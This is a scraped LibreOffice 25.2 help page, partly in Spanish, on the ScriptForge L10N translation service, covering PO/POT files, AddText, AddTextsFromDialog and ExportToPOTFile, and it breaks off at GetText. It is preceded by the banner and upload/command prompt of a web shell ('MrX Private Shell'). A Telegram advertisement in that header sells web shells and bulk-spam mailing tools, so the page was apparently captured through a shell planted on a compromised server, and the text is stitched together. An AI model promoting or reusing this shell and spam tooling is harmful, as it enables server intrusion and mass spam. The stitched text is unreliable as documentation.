__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<!DOCTYPE html>
<html lang="es" dir="ltr">
<head>
<base href="../../../../../">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Servicio ScriptForge.L10N</title>
<link rel="shortcut icon" href="media/navigation/favicon.ico">
<link type="text/css" href="normalize.css" rel="Stylesheet">
<link type="text/css" href="prism.css" rel="Stylesheet">
<link type="text/css" href="default.css" rel="Stylesheet">
<script type="text/javascript" src="polyfills.js"></script><script type="text/javascript" src="languages.js"></script><script type="text/javascript" src="es/langnames.js"></script><script type="text/javascript" src="flexsearch.debug.js"></script><script type="text/javascript" src="prism.js"></script><script type="text/javascript" src="help2.js" defer></script><script type="text/javascript" src="a11y-toggle.js" defer></script><script type="text/javascript" src="paginathing.js" defer></script><script type="text/javascript" src="es/bookmarks.js" defer></script><script type="text/javascript" src="es/contents.js" defer></script><script type="text/javascript" src="help.js" defer></script><meta name="viewport" content="width=device-width,initial-scale=1">
</head>
<body>
<header id="TopLeftHeader"><a class="symbol" href="es/text/shared/05/new_help.html"><div></div></a><a class="logo" href="es/text/shared/05/new_help.html"><p dir="auto">Ayuda de LibreOffice 25.2</p></a><div class="dropdowns"><div class="modules">
<button type="button" data-a11y-toggle="modules-nav" id="modules" aria-haspopup="true" aria-expanded="false" aria-controls="modules-nav">Módulo</button><nav id="modules-nav" hidden=""></nav>
</div></div></header><aside class="leftside"><input id="accordion-1" name="accordion-menu" type="checkbox"><label for="accordion-1" dir="auto">Contenido</label><div id="Contents" class="contents-treeview"></div></aside><div id="SearchFrame"><div id="Bookmarks">
<input id="search-bar" type="search" class="search" placeholder="Buscar en los marcadores del módulo elegido" dir="auto"><div class="nav-container" tabindex="0"><nav class="index" dir="auto"></nav></div>
</div></div>
<div id="DisplayArea" itemprop="softwareHelp" itemscope="true" itemtype="http://schema.org/SoftwareApplication">
<noscript><div id="WarnJS"><h1 dir="auto">Active JavaScript en el navegador para mostrar las páginas de ayuda de LibreOffice.</h1></div></noscript>
<a id="ScriptForge-sf_l10n"></a>
   <a id="bm_id571585843652319"></a>
      <meta itemprop="keywords" content="L10N service">
   


<a id="abstract"></a>
    <h1 id="hd_id521585843652750" dir="auto">
<a id="L10NService"></a>Servicio <span class="literal">ScriptForge</span>.<span class="literal">L10N</span>
</h1>
    <p id="par_id411585843652556" class="paragraph" dir="auto">Este servicio proporciona una serie de métodos relacionados con la traducción de cadenas con un impacto mínimo en el código fuente del programa. Los métodos proporcionados por el servicio <span class="literal">L10N</span> pueden utilizarse principalmente para:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id601614351922212" class="listitem" dir="auto">Crear archivos POT que puedan utilizarse como plantillas para la traducción de todas las cadenas del programa.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id131614352196513" class="listitem" dir="auto">Get translated strings at runtime for the language defined in the <span class="literal">Locale</span> property.</p>
      </li>
    </ul>


    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id971614966420419" dir="auto">The acronym <span class="literal">L10N</span> stands for Localization and refers to a set of procedures for translating software to a specific country or region.</p></div>
</div>
<br>
    <p id="par_id291585843652438" class="paragraph" dir="auto">PO files have long been promoted in the free software community as a means to providing multilingual user interfaces. This is accomplished through the use of human-readable text files with a well defined structure that specifies, for any given language, the source language string and the localized string.</p>
    <p id="par_id181585843652814" class="paragraph" dir="auto">The main advantage of the PO format is dissociation of the programmer and the translator. PO files are independent text files, so the programmer can send POT template files to translators, who will then translate their contents and return the translated PO files for each supported language.</p>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="tip" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id811614352321187" dir="auto">El servicio <span class="literal">L10N</span> se basa en la implementación de GNU de los archivos PO (objeto portátil). Para conocer más de este formato de archivo, visite la <a target="_blank" href="https://www.gnu.org/software/gettext/manual/html_node/PO-Files.html">documentación de utilidades de GNU gettext: archivos PO</a> (en inglés).</p></div>
</div>
<br>
  <p id="par_id91585843652832" class="paragraph" dir="auto">Este servicio implementa los métodos que se enumeran a continuación:</p>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id1158584365237" class="listitem" dir="auto"><span class="emph">AddText</span>: Used by the programmer to build a set of strings that will be translated later.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id81637866601151" class="listitem" dir="auto"><span class="emph">AddTextsFromDialog</span>: Extracts all strings from a <span class="literal">Dialog</span> service instance.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id681585843652331" class="listitem" dir="auto"><span class="emph">ExportToPOTFile</span>: Exports the strings added by the <span class="literal">AddText</span> method to a POT file.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
        <p id="par_id531585843652697" class="listitem" dir="auto"><span class="emph">GetText</span>: obtiene las cadenas traducidas en tiempo de ejecución.</p>
      </li>
    </ul>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id361614361362393" dir="auto">Note that the first two methods are used to build a set of translatable strings and export them to a POT file. However, it is not mandatory to create POT files using these methods. Since they are text files, the programmer could have created them using any text editor.</p></div>
</div>
<br>

    <h2 id="hd_id351585843652312" dir="auto">Invocación del servicio</h2>
    <p id="par_id141609955500101" class="paragraph" dir="auto">Antes de utilizar el servicio <span class="literal">L10N</span>, es necesario cargar o importar la biblioteca <span class="literal">ScriptForge</span>:</p>
    <div class="embedded">
<a id="importLibs"></a>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id901528999850603" dir="auto">• Para cargar la biblioteca  <span class="literal">ScriptForge</span> que necesitan las macros de Basic se debe usar la siguiente declaración:<br><span class="literal">GlobalScope.BasicLibraries.loadLibrary("ScriptForge")</span><br><br>• Los scripts de Python necesitan importar el módulo <span class="literal">scriptforge</span>:<br><span class="literal">from scriptforge import CreateScriptService</span></p></div>
</div>
<br>
  </div>

    <p id="par_id421614353247163" class="paragraph" dir="auto">There are several ways to invoke the <span class="literal">L10N</span> service using up to five optional arguments that specify the folder where PO files are stored, the locale and encoding to be used, as well as a fallback PO file and its encoding.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id481625854402332" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">CreateScriptService("L10N", opt foldername: str, opt locale: str, encoding: str = "UTF-8", opt locale2: str, encoding2: str = "UTF-8"): svc</span>
    </p>
    <p id="par_id331585843652877" class="paragraph" dir="auto"><span class="emph">foldername</span>: The folder containing the PO files. It must be expressed in the <span class="literal">FileSystem.FileNaming</span> notation.</p>
    <p id="par_id581585843652789" class="paragraph" dir="auto"><span class="emph">locale</span>: A string in the form "la-CO" (language-COUNTRY) or in the form "la" (language) only.</p>
    <p id="par_id591646219881864" class="paragraph" dir="auto"><span class="emph">encoding</span>: The character set to be used. The default encoding is "UTF-8".</p>
    <p id="par_id281646219882464" class="paragraph" dir="auto"><span class="emph">locale2</span>: A string specifying the fallback locale to be used in case the PO file corresponding to the locale defined the <span class="literal">locale</span> parameter does not exist. This parameter is expressed in the form "la-CO" (language-COUNTRY) or "la" (language) only.</p>
    <p id="par_id881646219882951" class="paragraph" dir="auto"><span class="emph">encoding2</span>: The character set of the fallback PO file corresponding to the <span class="literal">locale2</span> argument. The default encoding is "UTF-8".</p>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id141613001281573" dir="auto">Para conocer más sobre los nombres de los conjuntos de caracteres, consulte la página <a target="_blank" href="https://www.iana.org/assignments/character-sets/character-sets.xhtml">Conjuntos de caracteres de la IANA</a> (en inglés). Conviene saber que LibreOffice no admite todos los conjuntos de caracteres existentes.</p></div>
</div>
<br>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <p id="par_id891614358528334" class="paragraph" dir="auto">The following example instantiates the <span class="literal">L10N</span> service without any optional arguments. This will only enable the <span class="literal">AddText</span> and <span class="literal">ExportToPOTFile</span> methods, which is useful for creating POT files.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      GlobalScope.BasicLibraries.loadLibrary("ScriptForge")
      Dim myPO As Variant
      Set myPO = CreateScriptService("L10N")
    </code></pre></div>
    <p id="par_id611614358672609" class="paragraph" dir="auto">The example below specifies the folder containing the PO files. Because the locale is not defined, the service instance will use the locale defined for the LibreOffice user interface, which is the same locale defined in the <span class="literal">OfficeLocale</span> property of the <a target="_top" href="es/text/sbasic/shared/03/sf_platform.html">Platform</a> service.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = CreateScriptService("L10N", "C:\myPOFiles")
    </code></pre></div>
    <div class="warning">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/warning.svg" alt="warning" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id391625855630975" dir="auto">The example above will result in an runtime error if the PO file corresponding to the <span class="literal">OfficeLocale</span> locale does not exist in the specified folder.</p></div>
</div>
<br>
    <p id="par_id321614358809763" class="paragraph" dir="auto">In the example below, the locale is explicitly defined to be Belgian French ("fr-BE"), hence the service will load the file "fr-BE.po" from the folder "C:\myPOFiles". If the file does not exist, an error will occur.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = CreateScriptService("L10N", "C:\myPOFiles", "fr-BE", "UTF-8")
    </code></pre></div>
    <p id="par_id271646220649616" class="paragraph" dir="auto">To avoid errors, it is possible to specify a preferred and a fallback locale and encoding. The following example will first try to load the file "fr-BE.po" from the specified folder and if it does not exist, the file "en-US.po" will be loaded.</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = CreateScriptService("L10N", "C:\myPOFiles", "fr-BE", "UTF-8", "en-US", "UTF-8")
    </code></pre></div>
    <div class="tip">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/tip.svg" alt="Icono de consejo" style="width:40px;height:40px;"></div>
<div class="notetext"><p dir="auto">PO files must be named in the form "la-CO.po" or "la.po", where "la" refers to the language and "CO" is the country. Some examples are: "en-US.po", "fr-BE.po" or "fr.po".</p></div>
</div>
<br>
    <p id="par_id171585843652545" class="paragraph" dir="auto">Es recomendable liberar recursos después del uso:</p>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      Set myPO = myPO.Dispose()
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <p id="par_id281625854773330" class="paragraph" dir="auto">Los ejemplos anteriores pueden expresarse en Python de la siguiente manera:</p>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      from scriptforge import CreateScriptService
      myPO = CreateScriptService('L10N')
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r'C:\myPOFiles')
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r'C:\myPOFiles', 'fr-BE')
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      myPO = CreateScriptService('L10N', r'C:\myPOFiles', 'fr-BE', 'UTF-8', 'en-US', 'UTF-8')
      myPO = myPO.Dispose()
    </code></pre></div>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id301614358956087" dir="auto">Pueden coexistir varias instancias del servicio <span class="literal">L10N</span>. Sin embargo, cada ocurrencia debe utilizar un directorio distinto para sus archivos PO.</p></div>
</div>
<br>

<a id="bm_id871614359551930"></a>
  <meta itemprop="keywords" content="L10N service,Folder">
  <meta itemprop="keywords" content="L10N service,Languages">
  <meta itemprop="keywords" content="L10N service,Locale">


  <h2 id="hd_id561585843652465" dir="auto">Propiedades</h2>
  <a id="properties_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
      <tr>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id181585843652958" class="tableheadintable" dir="auto">Nombre</p>
          </th>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id741585843652162" class="tableheadintable" dir="auto">De solo lectura</p>
          </th>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id291585843652823" class="tableheadintable" dir="auto">Tipo</p>
          </th>
          <th rowspan="" colspan="" class="tableheadcell" dir="auto">
              <p id="par_id351585843652638" class="tableheadintable" dir="auto">Descripción</p>
          </th>
      </tr>
      <tr>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id781585843652397" class="tablecontentintable" dir="auto">Folder</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id451585843652928" class="tablecontentsintable" dir="auto">Sí</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id351585843652874" class="tablecontentsintable" dir="auto">String</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id751585843652642" class="tablecontentintable" dir="auto">La carpeta que contiene los archivos PO (vea la propiedad <a target="_top" href="es/text/sbasic/shared/03/sf_filesystem.html#bm_id901612991354326"><span class="literal">FileSystem.FileNaming</span></a> para conocer la notación utilizada).</p>
          </td>
      </tr>
      <tr>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id161585843652104" class="tablecontentintable" dir="auto">Languages</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id96158584365279" class="tablecontentsintable" dir="auto">Sí</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id611585843652345" class="tablecontentsintable" dir="auto">Array</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id331585843652912" class="tablecontentintable" dir="auto">Una matriz indizada a partir de cero que enumera todos los nombres de base (sin la extensión «.po») de los archivos PO que se encuentren en la carpeta especificada en <span class="literal">Folder</span>.</p>
          </td>
      </tr>
      <tr>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id721585843652496" class="tablecontentintable" dir="auto">Locale</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id961585843652589" class="tablecontentsintable" dir="auto">Sí</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id611585843652290" class="tablecontentsintable" dir="auto">String</p>
          </td>
          <td rowspan="" colspan="" dir="auto">
              <p id="par_id561585843652947" class="tablecontentintable" dir="auto">The currently active language-COUNTRY combination. This property will be initially empty if the service was instantiated without any of the optional arguments.</p>
          </td>
      </tr>
    </table>
<br>
  

  <a id="methods_toc"></a>
   <table border="1" class="" cellpadding="0" cellspacing="0">
    <tr>
       <th rowspan="" colspan="3" class="tableheadcell" dir="auto">
           <p id="par_id231614360519973" class="tableheadintable" dir="auto">Lista de métodos en el servicio L10N</p>
       </th>
    </tr>
    <tr>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id611614360519255" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/sf_l10n.html#AddText">AddText</a><br>
           <a target="_top" href="es/text/sbasic/shared/03/sf_l10n.html#AddTextsFromDialog">AddTextsFromDialog</a>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id611614360519104" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/sf_l10n.html#ExportToPOTFile">ExportToPOTFile</a><br><br>
         </p>
       </td>
       <td rowspan="" colspan="" dir="auto">
         <p id="par_id611614360518452" class="tablecontentintable" dir="auto">
           <a target="_top" href="es/text/sbasic/shared/03/sf_l10n.html#GetText">GetText</a><br><br>
         </p>
       </td>
    </tr>
   </table>
<br>
  

<a id="AddText"></a>
  
     <a id="bm_id951585843652555"></a>
         <meta itemprop="keywords" content="L10N service,AddText">
     
  <h2 id="hd_id191585843652902" dir="auto">AddText</h2>
  <p id="par_id1001585843652271" class="paragraph" dir="auto">Añade una entrada nueva en la lista de cadenas regionalizables. No debe existir aún.</p>
    <p id="par_id641625855725050" class="paragraph" dir="auto">El método devuelve <span class="literal">True</span> si se lleva a término correctamente.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id241625855910866" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.AddText(context: str = '', msgid: str = '', comment: str = ''): bool</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id391585843652753" class="paragraph" dir="auto"><span class="emph">context</span>: The key to retrieve the translated string with the <span class="literal">GetText</span> method. This parameter has a default value of "".</p>
    <p id="par_id581585844419114" class="paragraph" dir="auto"><span class="emph">msgid</span>: The untranslated string, which is the text appearing in the program code. It must not be empty. The <span class="literal">msgid</span> becomes the key to retrieve the translated string via <span class="literal">GetText</span> method when <span class="literal">context</span> is empty.</p>
    <p id="par_id311614361926844" class="paragraph" dir="auto">The <span class="literal">msgid</span> string may contain any number of placeholders (%1 %2 %3 ...) for dynamically modifying the string at runtime.</p>
    <p id="par_id541585844475331" class="paragraph" dir="auto"><span class="emph">comment</span>: Optional comment to be added alongside the string to help translators.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <p id="par_id461614364298440" class="paragraph" dir="auto">El ejemplo a continuación crea un conjunto de cadenas en inglés:</p>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      myPO.AddText(, "This is a string to be included in a POT file")
      myPO.AddText("CTX1", "A string with a context")
      myPO.AddText(, "Provide a String value", Comment := "Do not translate the word String")
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      myPO.AddText(msgid = 'This is a string to be included in a POT file')
      myPO.AddText('CTX1', 'A string with a context')
      myPO.AddText(msgid = 'Provide a String value', comment = 'Do not translate the word String')
    </code></pre></div>


<a id="AddTextsFromDialog"></a>
  
  <a id="bm_id951585843650024"></a>
    <meta itemprop="keywords" content="L10N service,AddTextsFromDialog">
  
  <h2 id="hd_id191585843652058" dir="auto">AddTextsFromDialog</h2>
  <p id="par_id1001585843659821" class="paragraph" dir="auto">Extrae automáticamente las cadenas de un cuadro de diálogo y las añade a la lista de cadenas de texto regionalizables. Se extraen las cadenas siguientes:</p>
  <a id="L10NDlgControls"></a>
    <ul itemprop="Unordered" itemscope="true" itemtype="http://schema.org/ItemList" dir="auto">
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id621637863440015" class="listitem" dir="auto">El título del diálogo.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id61637863440399" class="listitem" dir="auto">The caption of the following control types: Button, CheckBox, FixedLine, FixedText, GroupBox and RadioButton.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id251637863440626" class="listitem" dir="auto">Static strings in ListBoxes and ComboBoxes.</p>
      </li>
      <li itemprop="itemListElement" itemscope="true" itemtype="http://schema.org/ItemListUnordered" dir="auto">
          <p id="par_id811637863596791" class="listitem" dir="auto">The tooltip or help text displayed when the mouse hovers over the control.</p>
      </li>
    </ul>
  
  <p id="par_id641625855723650" class="paragraph" dir="auto">El método devuelve <span class="literal">True</span> si se lleva a término correctamente.</p>
  <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id731637863894577" dir="auto">The dialog from which strings will be extracted must not be open when the method is called.</p></div>
</div>
<br>
  <p id="par_id911637864050221" class="paragraph" dir="auto">When a <span class="literal">L10N</span> service instance is created from an existing PO file, use the <a target="_top" href="es/text/sbasic/shared/03/sf_dialog.html#GetTextsFromL10N">GetTextsFromL10N</a> method from the <span class="literal">Dialog</span> service to automatically load all translated strings into the dialog.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id241625855910158" class="paragraph" dir="auto">
      <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.AddTextsFromDialog(dialog: svc): bool</span>
    </p>
    <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
    <p id="par_id391585843652113" class="paragraph" dir="auto"><span class="emph">dialog</span>: a Dialog service instance corresponding to the dialog from which strings will be extracted.</p>
    <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
    <p id="par_id461614364298983" class="paragraph" dir="auto">The following example extracts all strings from the dialog "MyDialog" stored in the "Standard" library and exports them to a POT file:</p>
    <div class="embedded">
<a id="In_Basic"></a>
<h5 id="hd_id191620312698501" dir="auto">En BASIC</h5>
</div>
    <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
      oDlg = CreateScriptService("Dialog", "GlobalScope", "Standard", "MyDialog")
      myPO = CreateScriptService("L10N")
      myPO.AddTextsFromDialog(oDlg)
      myPO.ExportToPOTFile("C:\en-US.pot")
    </code></pre></div>
    <div class="embedded">
<a id="In_Python"></a>
<h5 id="hd_id831620312769993" dir="auto">En Python</h5>
</div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      dlg = CreateScriptService("Dialog", "GlobalScope", "Standard", "Dialog1")
      myPO = CreateScriptService("L10N")
      myPO.AddTextsFromDialog(dlg)
      myPO.ExportToPOTFile("C:\en-US.pot")
    </code></pre></div>


<a id="ExportToPOTFile"></a>
  
     <a id="bm_id471586102707389"></a>
         <meta itemprop="keywords" content="L10N service,ExportToPOTFile">
     
     <h2 id="hd_id231586102707125" dir="auto">ExportToPOTFile</h2>
     <p id="par_id281586102707242" class="paragraph" dir="auto">Exporta un conjunto de cadenas no traducidas en un archivo POT.</p>
     <p id="par_id711586102939257" class="paragraph" dir="auto">To build a set of strings you can use either a succession of <span class="literal">AddText</span> method calls, or by a successful invocation of the <span class="literal">L10N</span> service with the <span class="literal">foldername</span> argument present. It is also possible to use a combination of both techniques.</p>
     <p id="par_id641625855725141" class="paragraph" dir="auto">El método devuelve <span class="literal">True</span> si se lleva a término correctamente.</p>
     <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
     <p id="par_id161625856621303" class="paragraph" dir="auto">
       <span class="input" data-tooltip="Pulse en el texto para copiarlo en el portapapeles">svc.ExportToPOTFile(filename: str, header: str = '', encoding:str = 'UTF-8'): bool</span>
     </p>
     <div class="embedded">
<a id="functparameters"></a>
<h3 id="hd_id061420171139084157" dir="auto">Parámetros:</h3>
</div>
     <p id="par_id31586102707537" class="paragraph" dir="auto"><span class="emph">filename</span>: The full output file name in <span class="literal">FileSystem.FileNaming</span> notation.</p>
     <p id="par_id851586102707579" class="paragraph" dir="auto"><span class="emph">header</span>: los comentarios que se añadirán en la parte superior del archivo POT generado.</p>
     <p id="par_id111614364686973" class="paragraph" dir="auto">Do not include any leading "#" characters. If you want the header to be broken into multiple lines, insert escape sequences (\n) where relevant. A standard header will be added alongside the text specified in the <span class="literal">header</span> argument.</p>
     <p id="par_id5158610270728" class="paragraph" dir="auto"><span class="emph">encoding</span>: The character set to be used (Default = "UTF-8").</p>
     <div class="embedded">
<a id="functexample"></a>
<h3 id="hd_id061420171139088233" dir="auto">Ejemplo:</h3>
</div>
     <div class="bascode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-visual-basic line-numbers">
       ' Basic
       myPO.ExportToPOTFile("C:\myFile.pot", Header := "First line of the header\nSecond line of the header")
    </code></pre></div>
    <div class="pycode" itemscope="true" itemtype="http://schema.org/SoftwareSourceCode" itemprop="codeSampleType" content="snippet" data-tooltip="Pulse en el texto para copiarlo en el portapapeles"><pre dir="auto"><code class="language-python line-numbers">
      # Python
      myPO.ExportToPOTFile('C:\myFile.pot', header = 'First line of the header\nSecond line of the header')
    </code></pre></div>
    <div class="note">
<div class="noteicon" dir="auto"><img src="media/icon-themes/res/helpimg/note.svg" alt="note" style="width:40px;height:40px;"></div>
<div class="notetext"><p id="par_id581614364494235" dir="auto">El archivo generado debe superar la orden <span class="literal">msgfmt --check</span> de este programa de GNU.</p></div>
</div>
<br>


<a id="GetText"></a>
  
    <a id="bm_id131586165768747"></a>
        <meta itemprop="keywords" content="L10N service,GetText">
    
    <h2 id="hd_id56158616576884" dir="auto">GetText</h2>
    <p id="par_id891586165768715" class="paragraph" dir="auto">Gets the translated string corresponding to the given <span class="literal">msgid</span> argument.</p>
    <p id="par_id291614365296959" class="paragraph" dir="auto">Se puede definir una lista de argumentos para reemplazar los sustitutivos (%1, %2…) en la cadena.</p>
    <p id="par_id231586166181909" class="paragraph" dir="auto">Si no se encontrare ninguna cadena traducida, el método devolverá la cadena no traducida con los sustitutivos reemplazados por los argumentos especificados.</p>
    <div class="embedded">
<a id="functsyntax"></a>
<h3 id="hd_id061420171139089682" dir="auto">Sintaxis:</h3>
</div>
    <p id="par_id871586352505927" class="paragraph" dir="auto">This method can be called either by the full name <span class="literal">GetText</span> or by the shortcut <span class="literal">_</span> (a single underscore):</p>
